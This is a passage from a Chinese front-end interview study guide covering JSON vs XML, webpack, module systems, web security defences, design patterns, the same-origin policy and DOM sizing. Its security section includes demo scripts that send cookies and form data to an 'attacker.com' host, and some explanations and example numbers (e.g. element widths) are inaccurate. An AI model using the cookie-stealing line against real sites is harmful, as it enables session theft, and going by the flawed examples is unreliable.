  • 垃圾回收器定期扫描对象,并计算引用了每个对象的其他对象的数量。如果一个对象的引用数量为 0(没有其他对象引用过该对象),或对该对象的惟一引用是循环的,那么该对象的内存即可回收

下面是一些常见操作可能导致内存泄漏的示例代码:

  1. 未使用 var 声明的全局变量:
function foo() {
  bar = 'global variable'; // 没有使用 var 声明
}
foo();
  1. 闭包函数(Closures):
function outer() {
  var data = 'sensitive data';
  return function() {
    // 内部函数形成了闭包
    console.log(data);
  };
}
var inner = outer();
inner(); // 闭包引用了外部函数的变量,导致变量无法被释放
  1. 循环引用:
function createObjects() {
  var obj1 = {};
  var obj2 = {};
  obj1.ref = obj2;
  obj2.ref = obj1;
  // 对象之间形成循环引用,导致无法被垃圾回收
}
createObjects();
  1. 控制台日志(console.log):
function processData(data) {
  console.log(data); // 控制台日志可能会引用数据,阻止垃圾回收
  // 处理数据的逻辑
}
  1. 移除存在绑定事件的 DOM 元素(IE):
var element = document.getElementById('myElement');
element.onclick = function() {
  // 处理点击事件
};
// 移除元素时没有显式地解绑事件处理程序,可能导致内存泄漏(在 IE 浏览器中)
element.parentNode.removeChild(element);
  1. 使用字符串作为 setTimeout 的第一个参数:
setTimeout('console.log("timeout");', 1000);
// 使用字符串作为参数,会导致内存泄漏(不推荐)

注意:以上示例只是为了说明可能导致内存泄漏的操作,并非一定会发生内存泄漏。在实际开发中,需要注意避免这些操作或及时进行相应的内存管理和资源释放。

# 14 XML和JSON的区别?

XML(可扩展标记语言)和JSON(JavaScript对象表示法)是两种常用的数据格式,它们在以下几个方面有一些区别:

  1. 数据体积方面:
  • JSON相对于XML来说,数据的体积小,因为JSON使用了较简洁的语法,所以传输的速度更快。
  1. 数据交互方面:
  • JSON与JavaScript的交互更加方便,因为JSON数据可以直接被JavaScript解析和处理,无需额外的转换步骤。
  • XML需要使用DOM操作来解析和处理数据,相对而言更复杂一些。
  1. 数据描述方面:
  • XML对数据的描述性较强,它使用标签来标识数据的结构和含义,可以自定义标签名,使数据更具有可读性和可扩展性。
  • JSON的描述性较弱,它使用简洁的键值对表示数据,适合于简单的数据结构和传递。
  1. 传输速度方面:
  • JSON的解析速度要快于XML,因为JSON的语法更接近JavaScript对象的表示,JavaScript引擎能够更高效地解析JSON数据。

需要根据具体的需求和使用场景选择合适的数据格式,一般来说,如果需要简单、轻量级的数据交互,并且与JavaScript紧密集成,可以选择JSON。而如果需要较强的数据描述性和扩展性,或者需要与其他系统进行数据交互,可以选择XML。

# 15 谈谈你对webpack的看法

Webpack是一个功能强大的模块打包工具,它在现代Web开发中扮演着重要的角色。以下是对Webpack的看法:

  1. 模块化开发:Webpack以模块化的方式管理项目中的各种资源,包括JavaScript、CSS、图片、字体等。它能够将这些资源视为模块,并根据模块之间的依赖关系进行打包,使代码结构更清晰、可维护性更高。
  2. 强大的打包能力:Webpack具有强大的打包能力,能够将项目中的多个模块打包成一个或多个静态资源文件。它支持各种模块加载器和插件,可以处理各种类型的资源文件,并且能够进行代码压缩、文件合并、按需加载等优化操作,以提高应用的性能和加载速度。
  3. 生态系统丰富:Webpack拥有一个庞大的插件生态系统,可以满足各种项目的需求。通过使用各种插件,我们可以实现代码的优化、资源的压缩、自动化部署等功能,大大提升了开发效率。
  4. 开发工具支持:Webpack提供了开发工具和开发服务器,支持热模块替换(Hot Module Replacement)等功能,使开发过程更加高效和便捷。它能够实时监听文件的变化并自动重新编译和刷新页面,极大地提升了开发体验。
  5. 社区活跃:Webpack拥有一个庞大的社区,开发者们积极分享各种有用的插件和工具,提供了大量的学习资源和解决方案。通过与社区的交流和学习,我们可以更好地了解Webpack的使用技巧和最佳实践。

总的来说,Webpack是一个非常强大和灵活的模块打包工具,它在现代Web开发中发挥着重要作用。通过Webpack,我们可以更好地组织和管理项目代码,提高开发效率和代码质量,同时也能够享受到丰富的插件和工具支持。

# 16 说说你对AMD和Commonjs的理解

对于AMD(Asynchronous Module Definition)和CommonJS的理解如下:

1. AMD(异步模块定义):

  • AMD是一种用于浏览器端的模块定义规范。
  • 它支持异步加载模块,允许在模块加载完成后执行回调函数。
  • AMD推荐的风格是通过define函数定义模块,并通过返回一个对象来暴露模块的接口。
  • 典型的AMD实现是RequireJS。

2. CommonJS:

  • CommonJS是一种用于服务器端的模块定义规范,Node.js采用了这个规范。
  • 它使用同步加载模块的方式,即只有模块加载完成后才能执行后续操作。
  • CommonJS的风格是通过对module.exportsexports的属性赋值来暴露模块的接口。
  • CommonJS适用于服务器端的模块加载,因为在服务器端文件的读取是同步的,不会影响性能。

总结:

  • AMD和CommonJS是两种不同的模块定义规范,分别适用于浏览器端和服务器端的模块加载。
  • AMD采用异步加载模块的方式,适用于浏览器环境,允许并行加载多个模块,适用于复杂的模块依赖关系。
  • CommonJS采用同步加载模块的方式,适用于服务器环境,因为在服务器端文件的读取是同步的。
  • 在实际开发中,可以根据项目的需求和运行环境选择使用AMD或CommonJS规范来组织和加载模块。

AMD 示例代码:

// 模块定义
define(['moduleA', 'moduleB'], function(moduleA, moduleB) {
  // 模块代码
  var foo = moduleA.foo();
  var bar = moduleB.bar();
  return {
    baz: function() {
      console.log(foo + bar);
    }
  };
});

// 模块加载
require(['myModule'], function(myModule) {
  myModule.baz(); // 调用模块方法
});

CommonJS 示例代码:

// 模块定义
// moduleA.js
exports.foo = function() {
  return 'Hello';
};

// moduleB.js
exports.bar = function() {
  return 'World';
};

// 主程序
// main.js
var moduleA = require('./moduleA');
var moduleB = require('./moduleB');

var foo = moduleA.foo();
var bar = moduleB.bar();
console.log(foo + ' ' + bar);

在浏览器环境下,可以使用RequireJS作为AMD规范的实现库。在Node.js环境下,CommonJS模块加载是内置的,无需使用额外的库。以上示例代码是在浏览器端和Node.js环境中分别使用AMD和CommonJS规范加载模块的简单示例。

# 17 常见web安全及防护原理

常见Web安全问题及对应的防护原理如下所示,并附上相应的示例代码:

1. SQL注入

就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令

  • 总的来说有以下几点

    • 永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双"-"进行转换等
    • 永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取
    • 永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接
    • 不要把机密信息明文存放,请加密或者hash掉密码和敏感的信息
  • 防护原理:

    • 使用参数化查询或预编译语句
    • 使用ORM框架或查询构建器
    • 对用户输入进行输入验证和过滤

示例代码:

// 使用参数化查询
const sql = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.query(sql, [username, password], (err, result) => {
  // 处理查询结果
});

// 使用预编译语句
const sql = 'SELECT * FROM users WHERE username = ? AND password = ?';
const stmt = db.prepare(sql);
stmt.run(username, password, (err, result) => {
  // 处理查询结果
});

2. 跨站脚本攻击 (XSS)

Xss(cross-site scripting)攻击指的是攻击者往Web页面里插入恶意html标签或者javascript代码。比如:攻击者在论坛中放一个看似安全的链接,骗取用户点击后,窃取cookie中的用户私密信息;或者攻击者在论坛中加一个恶意表单,当用户提交表单的时候,却把信息传送到攻击者的服务器中,而不是用户原本以为的信任站点

  • 防护原理:
    • 对用户输入进行合适的转义和过滤
    • 使用安全的模板引擎或自动转义函数
    • 使用HTTP头部中的Content Security Policy (CSP)

示例代码:

// 对用户输入进行转义
function escapeHTML(input) {
  return input.replace(/</g, '&lt;').replace(/>/g, '&gt;');
}
// 使用安全的模板引擎
const template = Handlebars.compile('{{data}}');
const html = template({ data: userInput });

// 使用Content Security Policy (CSP)
res.setHeader('Content-Security-Policy', 'script-src \'self\'');

3. 跨站请求伪造 (CSRF)

  • 防护原理:
    • 使用CSRF Token进行验证
    • 验证请求来源
    • 验证HTTP Referer

示例代码:

// 使用CSRF Token进行验证
app.use((req, res, next) => {
  res.locals.csrfToken = generateCSRFToken();
  next();
});

// 验证请求来源
if (req.headers.origin !== 'https://example.com') {
  // 请求不是来自预期的来源,拒绝处理
}

// 验证HTTP Referer头
if (req.headers.referer !== 'https://example.com/') {
  // 请求不是来自预期的来源,拒绝处理
}

XSS与CSRF有什么区别吗?

XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)是两种不同类型的安全威胁,其区别如下:

XSS(跨站脚本攻击):

  • 目标:获取用户的敏感信息、执行恶意代码。
  • 攻击方式:攻击者向受信任网站注入恶意脚本代码,使用户的浏览器执行该恶意脚本。
  • 攻击原理:XSS攻击利用了网页应用对用户输入的信任,通过注入恶意脚本代码,使其在用户的浏览器中执行。
  • 防护措施:对用户输入进行合适的转义和过滤,使用安全的模板引擎或自动转义函数,使用Content Security Policy(CSP)等。

CSRF(跨站请求伪造):

  • 目标:利用用户的身份完成恶意操作,而不是获取敏感信息。
  • 攻击方式:攻击者诱使用户在受信任网站的身份下执行恶意操作,利用用户在受信任网站上的身份发送恶意请求。
  • 攻击原理:CSRF攻击利用了网页应用对用户已认证身份的信任,通过伪造请求,利用用户的身份在受信任网站上执行恶意操作。
  • 防护措施:使用CSRF Token进行验证,验证请求来源、HTTP Referer头,双重提交Cookie验证等。

总结:

  • XSS攻击注重利用网页应用对用户输入的信任,目标是获取用户的敏感信息和执行恶意代码。
  • CSRF攻击注重利用网页应用对用户已认证身份的信任,目标是代替用户完成指定的动作。

请注意,为了有效地防止XSS和CSRF攻击,应采用综合的安全措施,并进行定期的安全审查和测试。

XSS攻击获取Cookie的示例

<!-- index.html -->
<!DOCTYPE html>
<html>
<head>
  <title>XSS Attack Demo</title>
</head>
<body>
  <h1>XSS Attack Demo</h1>
  <div id="content"></div>
  <script src="payload.js"></script>
</body>
</html>
// payload.js
const maliciousScript = `
  const xhr = new XMLHttpRequest();
  xhr.open('GET', 'http://attacker.com/steal-cookie?cookie=' + document.cookie, true);
  xhr.send();
`;

document.getElementById('content').innerHTML = maliciousScript;

在上述示例中,恶意脚本payload.js被注入到页面中。该脚本通过XMLHttpRequest发送GET请求,将页面中的Cookie信息发送给攻击者控制的服务器。

CSRF攻击的示例

<!-- index.html -->
<!DOCTYPE html>
<html>
<head>
  <title>CSRF Attack Demo</title>
</head>
<body>
  <h1>CSRF Attack Demo</h1>
  <form id="transfer-form" action="http://bank.com/transfer" method="POST">
    <input type="hidden" name="amount" value="10000">
    <input type="submit" value="Transfer">
  </form>
  <script src="payload.js"></script>
</body>
</html>
// payload.js
const maliciousScript = `
  const form = document.getElementById('transfer-form');
  form.action = 'http://attacker.com/steal-data';
  form.submit();
`;

eval(maliciousScript);

在上述示例中,恶意脚本payload.js被执行。该脚本修改了表单transfer-form的目标地址为攻击者控制的服务器,并提交表单。当用户点击"Transfer"按钮时,实际上会向攻击者服务器发送用户的敏感数据。

请注意,以上示例仅为了说明XSS攻击和CSRF攻击的原理,并非真实的攻击代码。在实际开发中,应该采取相应的防护措施来预防这些安全威胁,如输入验证、输出编码、使用CSRF令牌等。

4. 文件上传漏洞

  • 防护原理:
  • 验证文件类型和大小
  • 存储上传的文件在非Web可访问目录下
  • 生成唯一且安全的文件名

示例代码:

// 验证文件类型和大小
const allowedFileTypes = ['image/jpeg', 'image/png'];
const maxFileSize = 5 * 1024 * 1024; // 5MB

if (!allowedFileTypes.includes(file.mimetype) || file.size > maxFileSize) {
 // 文件类型不合法或大小超过限制,拒绝上传
}

5. 会话劫持和会话固定

  • 防护原理:
    • 使用安全的会话管理机制(如使用HTTPS、使用HTTP Only和Secure标志的Cookie)
    • 生成随机且复杂的会话ID
    • 定期更新会话ID

示例代码:

// 设置HTTP Only和Secure标志的会话Cookie
res.cookie('sessionID', sessionID, { httpOnly: true, secure: true });

// 生成随机且复杂的会话ID
const sessionID = generateSessionID();

// 定期更新会话ID
setInterval(() => {
  // 生成新的会话ID
  const newSessionID = generateSessionID();
  // 更新会话ID
  req.sessionID = newSessionID;
}, 30 * 60 * 1000); // 30分钟更新一次会话ID

6. 点击劫持

  • 防护原理:
  • 使用X-Frame-Options响应头
  • 使用Content Security Policy (CSP)
  • 使用Framebusting脚本

示例代码:

// 使用X-Frame-Options响应头
res.setHeader('X-Frame-Options', 'DENY');

// 使用Content Security Policy (CSP)
res.setHeader('Content-Security-Policy', 'frame-ancestors \'none\'');

// 使用Framebusting脚本
if (window.top !== window.self) {
 window.top.location = window.self.location;
}

7. 不安全的重定向和跳转

  • 防护原理:
  • 对重定向URL进行白名单验证
  • 验证跳转请求的合法性
  • 使用HTTP Only和Secure标志的Cookie

示例代码:

// 对重定向URL进行白名单验证
const whitelist = ['https://example.com', 'https://example.net'];
if (whitelist.includes(redirectURL)) {
 res.redirect(redirectURL);
} else {
 // 非法的重定向URL,拒绝跳转
}

// 验证跳转请求的合法性
const referer = req.headers.referer;
if (referer && referer.startsWith('https://example.com')) {
 res.redirect(redirectURL);
} else {
 // 非法的跳转请求,拒绝跳转
}

// 使用HTTP Only和Secure标志的Cookie
res.cookie('sessionID', sessionID, { httpOnly: true, secure: true });

# 18 用过哪些设计模式?

当被问到你用过哪些设计模式时,你可以列举出你在前端开发中常使用的设计模式。以下是几个常见的设计模式,以及它们的优缺点、适用场景和示例代码:

1. 工厂模式(Factory Pattern):

  • 优点:封装了对象的创建过程,降低了耦合性,提供了灵活性和可扩展性。
  • 缺点:增加了代码的复杂性,需要创建工厂类。
  • 适用场景:当需要根据不同条件创建不同对象时,或者需要隐藏对象创建的细节时,可以使用工厂模式。

示例代码:

class Button {
  constructor(text) {
    this.text = text;
  }
  render() {
    console.log(`Rendering button with text: ${this.text}`);
  }
}

class ButtonFactory {
  createButton(text) {
    return new Button(text);
  }
}

const factory = new ButtonFactory();
const button = factory.createButton('Submit');
button.render(); // Output: Rendering button with text: Submit

2. 单例模式(Singleton Pattern):

  • 优点:确保一个类只有一个实例,节省系统资源,提供全局访问点。
  • 缺点:可能引入全局状态,不利于扩展和测试。
  • 适用场景:当需要全局唯一的对象实例时,例如日志记录器、全局配置对象等,可以使用单例模式。

示例代码:

class Logger {
  constructor() {
    if (Logger.instance) {
      return Logger.instance;
    }
    Logger.instance = this;
  }
  log(message) {
    console.log(`Logging: ${message}`);
  }
}

const logger1 = new Logger();
const logger2 = new Logger();

console.log(logger1 === logger2); // Output: true

3. 观察者模式(Observer Pattern):

  • 优点:实现了对象之间的松耦合,支持广播通信,当一个对象状态改变时,可以通知依赖它的其他对象进行更新。
  • 缺点:可能导致性能问题和内存泄漏,需要合理管理观察者列表。
  • 适用场景:当需要实现对象之间的一对多关系,一个对象的改变需要通知其他多个对象时,可以使用观察者模式。

示例代码:

class Subject {
  constructor() {
    this.observers = [];
  }
  addObserver(observer) {
    this.observers.push(observer);
  }
  removeObserver(observer) {
    const index = this.observers.indexOf(observer);
    if (index !== -1) {
      this.observers.splice(index, 1);
    }
  }
  notify(message) {
    this.observers.forEach((observer) => observer.update(message));
  }
}

class Observer {
  update(message) {
    console.log(`Received message: ${message}`);
  }
}

const subject = new Subject();
const observer1 = new Observer();
const observer2 = new Observer();

subject.addObserver(observer1);
subject.addObserver(observer2);
subject.notify('Hello, observers!'); // Output

4. 发布订阅模式(Publish-Subscribe Pattern):

  • 优点:解耦了发布者和订阅者,使它们可以独立变化。增加了代码的灵活性和可维护性。
  • 缺点:可能会导致发布者过度发布消息,造成性能问题。订阅者需要订阅和取消订阅相关的逻辑。
  • 适用场景:当存在一对多的关系,一个对象的状态变化需要通知多个其他对象时,可以使用发布订阅模式。

示例代码:

class PubSub {
  constructor() {
    this.subscribers = {};
  }
  subscribe(event, callback) {
    if (!this.subscribers[event]) {
      this.subscribers[event] = [];
    }
    this.subscribers[event].push(callback);
  }
  unsubscribe(event, callback) {
    const subscribers = this.subscribers[event];
    if (subscribers) {
      this.subscribers[event] = subscribers.filter(cb => cb !== callback);
    }
  }
  publish(event, data) {
    const subscribers = this.subscribers[event];
    if (subscribers) {
      subscribers.forEach(callback => callback(data));
    }
  }
}

// 创建发布订阅对象
const pubsub = new PubSub();

// 订阅事件
const callback1 = data => console.log('Subscriber 1:', data);
const callback2 = data => console.log('Subscriber 2:', data);
pubsub.subscribe('event1', callback1);
pubsub.subscribe('event1', callback2);

// 发布事件
pubsub.publish('event1', 'Hello, world!');

// 取消订阅事件
pubsub.unsubscribe('event1', callback2);

// 再次发布事件
pubsub.publish('event1', 'Hello again!');

在上述示例中,PubSub 是发布订阅的实现类,它维护一个订阅者列表 subscribers,用于存储不同事件的订阅者列表。通过 subscribe 方法订阅事件,将回调函数添加到对应事件的订阅者列表中;通过 unsubscribe 方法取消订阅事件,从对应事件的订阅者列表中移除回调函数;通过 publish 方法发布事件,遍历对应事件的订阅者列表,依次执行回调函数。通过发布订阅模式,发布者和订阅者之间解耦,可以实现松散耦合的组件间通信。

发布订阅模式适用于许多场景,如事件驱动的系统、消息队列、UI组件间的通信等,可以实现组件之间的解耦和灵活性。

发布订阅模式(Publish-Subscribe Pattern)和观察者模式(Observer Pattern)是两种常见的设计模式,它们有一些相似之处,但也存在一些区别。

相似之处:

  • 都用于实现对象之间的消息通信和事件处理。
  • 都支持解耦,让发布者和订阅者(观察者)之间相互独立。

区别:

  • 关注点不同:观察者模式关注的是一个主题对象(被观察者)和多个观察者对象之间的关系。当主题对象的状态发生变化时,它会通知所有观察者对象进行更新。而发布订阅模式关注的是发布者和订阅者之间的关系,发布者将消息发送到一个中心调度器(或者称为事件总线),然后由调度器将消息分发给所有订阅者。
  • 中间件存在与否:发布订阅模式通常需要一个中间件(调度器或事件总线)来管理消息的发布和订阅,这样发布者和订阅者之间的通信通过中间件进行。而观察者模式则直接在主题对象和观察者对象之间进行通信,没有中间件的参与。
  • 松散耦合程度不同:观察者模式中,主题对象和观察者对象之间是直接关联的,主题对象需要知道每个观察者对象的存在。而在发布订阅模式中,发布者和订阅者之间并不直接关联,它们只与中间件进行通信,发布者和订阅者之间的耦合更加松散。

观察者模式示例:

class Subject {
  constructor() {
    this.observers = [];
  }
  addObserver(observer) {
    this.observers.push(observer);
  }
  removeObserver(observer) {
    this.observers = this.observers.filter(obs => obs !== observer);
  }
  notify(data) {
    this.observers.forEach(observer => observer.update(data));
  }
}

class Observer {
  update(data) {
    console.log('Received data:', data);
  }
}

// 创建主题对象
const subject = new Subject();

// 创建观察者对象
const observer1 = new Observer();
const observer2 = new Observer();

// 添加观察者
subject.addObserver(observer1);
subject.addObserver(observer2);

// 发送通知
subject.notify('Hello, observers!');

发布订阅模式示例:

class EventBus {
  constructor() {
    this.subscribers = {};
  }
  subscribe(event, callback) {
    if (!this.subscribers[event]) {
      this.subscribers[event] = [];
    }
    this.subscribers[event].push(callback);
  }
  unsubscribe(event, callback) {
    const subscribers = this.subscribers[event];
    if (subscribers) {
      this.subscribers[event] = subscribers.filter(cb => cb !== callback);
    }
  }
  publish(event, data) {
        const subscribers = this.subscribers[event];
      if (subscribers) {
        subscribers.forEach(callback => callback(data));
      }
    }
  }

  // 创建事件总线对象
  const eventBus = new EventBus();

  // 订阅事件
  eventBus.subscribe('message', data => {
    console.log('Received message:', data);
  });

  // 发布事件
  eventBus.publish('message', 'Hello, subscribers!');

在上述示例中,观察者模式中的Subject类相当于发布订阅模式中的EventBus类,Observer类相当于订阅者(观察者),notify方法相当于publish方法,update方法相当于订阅者接收到事件后的回调函数。

观察者模式和发布订阅模式都是常见的用于实现事件处理和消息通信的设计模式,根据实际场景和需求选择合适的模式进行使用。观察者模式更加简单直接,适用于一对多的关系,而发布订阅模式更加灵活,可以支持多对多的关系,并且通过中间件来解耦发布者和订阅者。

4. 原型模式(Prototype Pattern):

  • 优点:通过克隆现有对象来创建新对象,避免了频繁的对象创建过程,提高了性能。
  • 缺点:需要正确设置原型对象和克隆方法,可能引入深拷贝或浅拷贝的问题。
  • 适用场景:当创建对象的成本较大且对象之间相似度较高时,可以使用原型模式来复用已有对象。

示例代码:

class Shape {
  constructor() {
    this.type = '';
  }
  clone() {
    return Object.create(this);
  }
  draw() {
    console.log(`Drawing a ${this.type}`);
  }
}

const circlePrototype = new Shape();
circlePrototype.type = 'Circle';

const squarePrototype = new Shape();
squarePrototype.type = 'Square';

const circle = circlePrototype.clone();
circle.draw(); // Output: Drawing a Circle

const square = squarePrototype.clone();
square.draw(); // Output: Drawing a Square

6. 装饰者模式(Decorator Pattern)

  • 优点:动态地给对象添加新的功能,避免了使用子类继承的方式导致类爆炸的问题。
  • 缺点:增加了代码的复杂性,需要理解和管理装饰器的层次结构。
  • 适用场景:当需要在不修改现有对象结构的情况下,动态地添加功能或修改行为时,可以使用装饰者模式。

示例代码:

class Component {
  operation() {
    console.log('Component operation');
  }
}

class Decorator {
  constructor(component) {
    this.component = component;
  }
  operation() {
    this.component.operation();
  }
}

class ConcreteComponent extends Component {
  operation() {
    console.log('ConcreteComponent operation');
  }
}

class ConcreteDecoratorA extends Decorator {
  operation() {
    super.operation();
    console.log('ConcreteDecoratorA operation');
  }
}

class ConcreteDecoratorB extends Decorator {
  operation() {
    super.operation();
    console.log('ConcreteDecoratorB operation');
  }
}

const component = new ConcreteComponent();
const decoratorA = new ConcreteDecoratorA(component);
const decoratorB = new ConcreteDecoratorB(decoratorA);

decoratorB.operation();
// Output:
// Component operation
// ConcreteComponent operation
// ConcreteDecoratorA operation
// ConcreteDecoratorB operation

7. 适配器模式(Adapter Pattern):

  • 优点:允许不兼容接口的对象协同工作,提高代码的复用性和灵活性。
  • 缺点:增加了代码的复杂性,需要理解和管理适配器的转换过程。
  • 适用场景:当需要将一个类的接口转换成客户端所期望的另一个接口时,可以使用适配器模式。

示例代码:

class Target {
  request() {
    console.log('Target request');
  }
}

class Adaptee {
  specificRequest() {
    console.log('Adaptee specificRequest');
  }
}

class Adapter extends Target {
  constructor(adaptee) {
    super();
    this.adaptee = adaptee;
  }
  request() {
    this.adaptee.specificRequest();
  }
}

const target = new Target();
target.request();
// Output: Target request

const adaptee = new Adaptee();
const adapter = new Adapter(adaptee);
adapter.request();
// Output: Adaptee specificRequest

在上述示例中,Target 定义了客户端所期望的接口,Adaptee 是一个已有的类,它的接口与 Target 不兼容。适配器 Adapter 继承自 Target,并在其内部持有一个 Adaptee 的引用,通过适配器的 request 方法调用 AdapteespecificRequest 方法,从而实现了对不兼容接口的适配。客户端可以通过调用适配器的 request 方法来使用 Adaptee 的功能。

适配器模式可以用于许多场景,例如在使用第三方库时需要将其接口转换成符合自己代码规范的接口,或者在对旧系统进行重构时需要兼容旧代码和新代码之间的差异。

# 19 为什么要有同源限制?

  • 同源策略指的是:协议,域名,端口相同,同源策略是一种安全协议
  • 举例说明:比如一个黑客程序,他利用Iframe把真正的银行登录页面嵌到他的页面上,当你使用真实的用户名,密码登录时,他的页面就可以通过Javascript读取到你的表单中input中的内容,这样用户名,密码就轻松到手了。

同源限制是为了保护用户的隐私和安全而存在的。它的主要目的是防止恶意网站利用客户端脚本对其他网站的信息进行读取和操作,从而避免信息泄露和恶意攻击。

同源策略通过限制来自不同源的网页之间的交互,确保只有同源的网页可以相互访问彼此的资源。同源策略要求协议、域名和端口必须完全相同才能实现同源。如果不满足同源条件,浏览器会禁止跨域请求和操作。

同源限制的作用包括但不限于:

  1. 防止跨站点脚本攻击(XSS):同源限制可以防止恶意网站通过跨域脚本注入攻击来获取用户敏感信息或操作用户的账户。
  2. 防止跨站请求伪造(CSRF):同源限制可以防止恶意网站伪造用户请求,以用户的身份执行非法操作。
  3. 保护用户隐私:同源限制可以防止其他网站通过跨域方式获取用户在当前网站的敏感信息。

同源限制通过浏览器的安全策略实现,确保在不同源的网页之间存在一定的隔离性,提高用户的安全性和隐私保护。但同时也给一些特定的跨域场景带来了限制,因此在需要跨域访问的情况下,可以使用跨域技术(如跨域资源共享CORS、JSONP等)来解决问题。

示例代码中提到的黑客程序利用了跨域嵌套iframe的方式,通过读取用户输入的信息来进行攻击。同源限制可以防止这种攻击,因为该黑客程序的域名与银行登录页面的域名不同,无法通过跨域访问获取用户输入的敏感信息。

# 20 offsetWidth/offsetHeight,clientWidth/clientHeight与scrollWidth/scrollHeight的区别

  • offsetWidth/offsetHeight:返回元素的总宽度/高度,包括内容宽度、内边距和边框宽度。该值包含了元素的完整尺寸,包括隐藏的部分和滚动条占用的空间。
  • clientWidth/clientHeight:返回元素的可视区域宽度/高度,即内容区域加上内边距,但不包括滚动条的宽度。该值表示元素内部可见的部分尺寸。
  • scrollWidth/scrollHeight:返回元素内容的实际宽度/高度,包括内容区域的尺寸以及溢出内容的尺寸。如果内容没有溢出,则与clientWidth/clientHeight的值相同。

区别总结:

  • offsetWidth/offsetHeight包含了元素的边框和滚动条占用的空间,提供了元素的完整尺寸。
  • clientWidth/clientHeight只包含元素的内容区域和内边距,不包括滚动条,表示了元素内部可见的部分尺寸。
  • scrollWidth/scrollHeight包含了元素内容的实际宽度/高度,包括溢出内容的尺寸。

示例代码:

<style>
  #box {
    width: 200px;
    height: 200px;
    padding: 20px;
    border: 2px solid black;
    overflow: scroll;
  }
  #content {
    width: 400px;
    height: 400px;
  }
</style>

<div id="box">
  <div id="content"></div>
</div>

<script>
  var box = document.getElementById('box');
  console.log('offsetWidth:', box.offsetWidth); // 224 (200 + 20 + 2 + 2)
  console.log('offsetHeight:', box.offsetHeight); // 224 (200 + 20 + 2 + 2)

  console.log('clientWidth:', box.clientWidth); // 200 (200 + 20 + 20)
  console.log('clientHeight:', box.clientHeight); // 200 (200 + 20 + 20)

  console.log('scrollWidth:', box.scrollWidth); // 400 (content的宽度)
  console.log('scrollHeight:', box.scrollHeight); // 400 (content的高度)
</script>

在上面的示例中,box元素的尺寸为200px × 200px,有20px的内边距和2px的边框。内部的content元素的尺寸为400px × 400px,超出了父元素的尺寸。通过不同的属性获取到的值可以看到它们的差异。

小结

  • offsetWidth/offsetHeight返回值包含content + padding + border,效果与e.getBoundingClientRect()相同
  • clientWidth/clientHeight返回值只包含content + padding,如果有滚动条,也不包含滚动条
  • scrollWidth/scrollHeight返回值包含content + padding + 溢出内容的尺寸

# 21 javascript有哪些方法定义对象

  • 对象字面量: var obj = {}; 原型是Object.prototype
  • 构造函数: var obj = new Object();
  • Object.create(): var obj = Object.create(Object.prototype);
    • Object.create(null) 没有原型
    • Object.create({...}) 可指定原型

1. 字面量表示法(Literal Notation):

使用对象字面量 {} 直接创建对象,并在其中定义属性和方法。

const person = {
  name: 'poetry',
  age: 30,
  sayHello: function() {
    console.log('Hello!');
  }
};

2. 构造函数(Constructor):

使用构造函数创建对象,可以定义一个构造函数,然后使用 new 关键字实例化对象。

function Person(name, age) {
  this.name = name;
  this.age = age;
  this.sayHello = function() {
    console.log('Hello!');
  };
}

const person = new Person('poetry', 30);

3. Object.create() 方法:

使用Object.create()方法创建一个新对象,并将指定的原型对象设置为新对象的原型。可以传入一个原型对象作为参数,也可以传入null作为参数来创建没有原型的对象。

const personPrototype = {
  sayHello: function() {
    console.log('Hello!');
  }
};

const person = Object.create(personPrototype);
person.name = 'poetry';
person.age = 30;

4. class 关键字(ES6引入):

使用 class 关键字可以定义类,并通过 new 关键字实例化对象。

class Person {
 constructor(name, age) {
   this.name = name;
   this.age = age;
 }

 sayHello() {
   console.log('Hello!');
 }
}

const person = new Person('poetry', 30);

5. 工厂函数(Factory Function):

使用一个函数来封装创建对象的逻辑,并返回新创建的对象。

function createPerson(name, age) {
  const person = {};
  person.name = name;
  person.age = age;
  person.sayHello = function() {
    console.log('Hello!');
  };
  return person;
}

const person = createPerson('poetry', 30);

6. 原型(Prototype):

在 JavaScript 中,每个对象都有一个原型(prototype),可以通过原型链来继承属性和方法。

function Person(name, age) {
  this.name = name;
  this.age = age;
}

Person.prototype.sayHello = function() {
  console.log('Hello!');
};

const person = new Person('poetry', 30);

7. Object.assign() 方法:

使用 Object.assign() 方法可以将一个或多个源对象的属性复制到目标对象中,从而创建一个新对象。

const person1 = {
  name: 'poetry',
  age: 30
};

const person2 = {
  sayHello: function() {
    console.log('Hello!');
  }
};

const person = Object.assign({}, person1, person2);

# 22 常见兼容性问题?

常见的兼容性问题有很多,以下列举一些常见的问题:

  1. 浏览器的盒模型差异:不同浏览器对盒模型的解析存在差异,导致元素的尺寸计算不一致。可以使用CSS盒模型属性(box-sizing)来进行控制。
  2. 浏览器对CSS属性的支持差异:不同浏览器对CSS属性的支持程度不同,某些属性在某些浏览器中可能不起作用或解析不正确。需要使用CSS前缀(Vendor Prefix)或使用兼容性方案来处理。
  3. JavaScript API的差异:不同浏览器对JavaScript API的支持存在差异,某些方法、属性或事件在某些浏览器中可能不可用或行为不同。需要进行兼容性检测并使用替代方案或进行特定的处理。
  4. 样式的兼容性:不同浏览器对样式的解析存在差异,可能导致页面显示不一致。需要针对不同浏览器进行样式的调整和优化。
  5. 图片格式的兼容性:不同浏览器对图片格式的支持存在差异,某些格式在某些浏览器中可能不被支持或显示异常。需要根据需求选择合适的图片格式,并进行兼容性处理。
  6. 事件处理的差异:不同浏览器对事件的处理存在差异,例如事件对象的属性、方法、坐标获取等方面。需要进行兼容性处理,使用合适的方法来获取事件相关信息。

示例代码:

// 获取鼠标坐标
function getMousePosition(event) {
  var x, y;
  if (event.pageX || event.pageY) {
    x = event.pageX;
    y = event.pageY;
  } else {
    x = event.clientX + document.body.scrollLeft + document.documentElement.scrollLeft;
    y = event.clientY + document.body.scrollTop + document.documentElement.scrollTop;
  }
  return { x: x, y: y };
}

// 兼容性处理
var event = event || window.event;
var mousePosition = getMousePosition(event);

// 获取元素样式
function getComputedStyle(element) {
  if (window.getComputedStyle) {
    return window.getComputedStyle(element, null);
  } else {
    return element.currentStyle;
  }
}

// 兼容性处理
var elementStyle = getComputedStyle(element);

// 图片格式兼容性处理
var img = new Image();
img.src = 'image.png';
img.onerror = function() {
  // 图片加载失败,处理兼容性
};

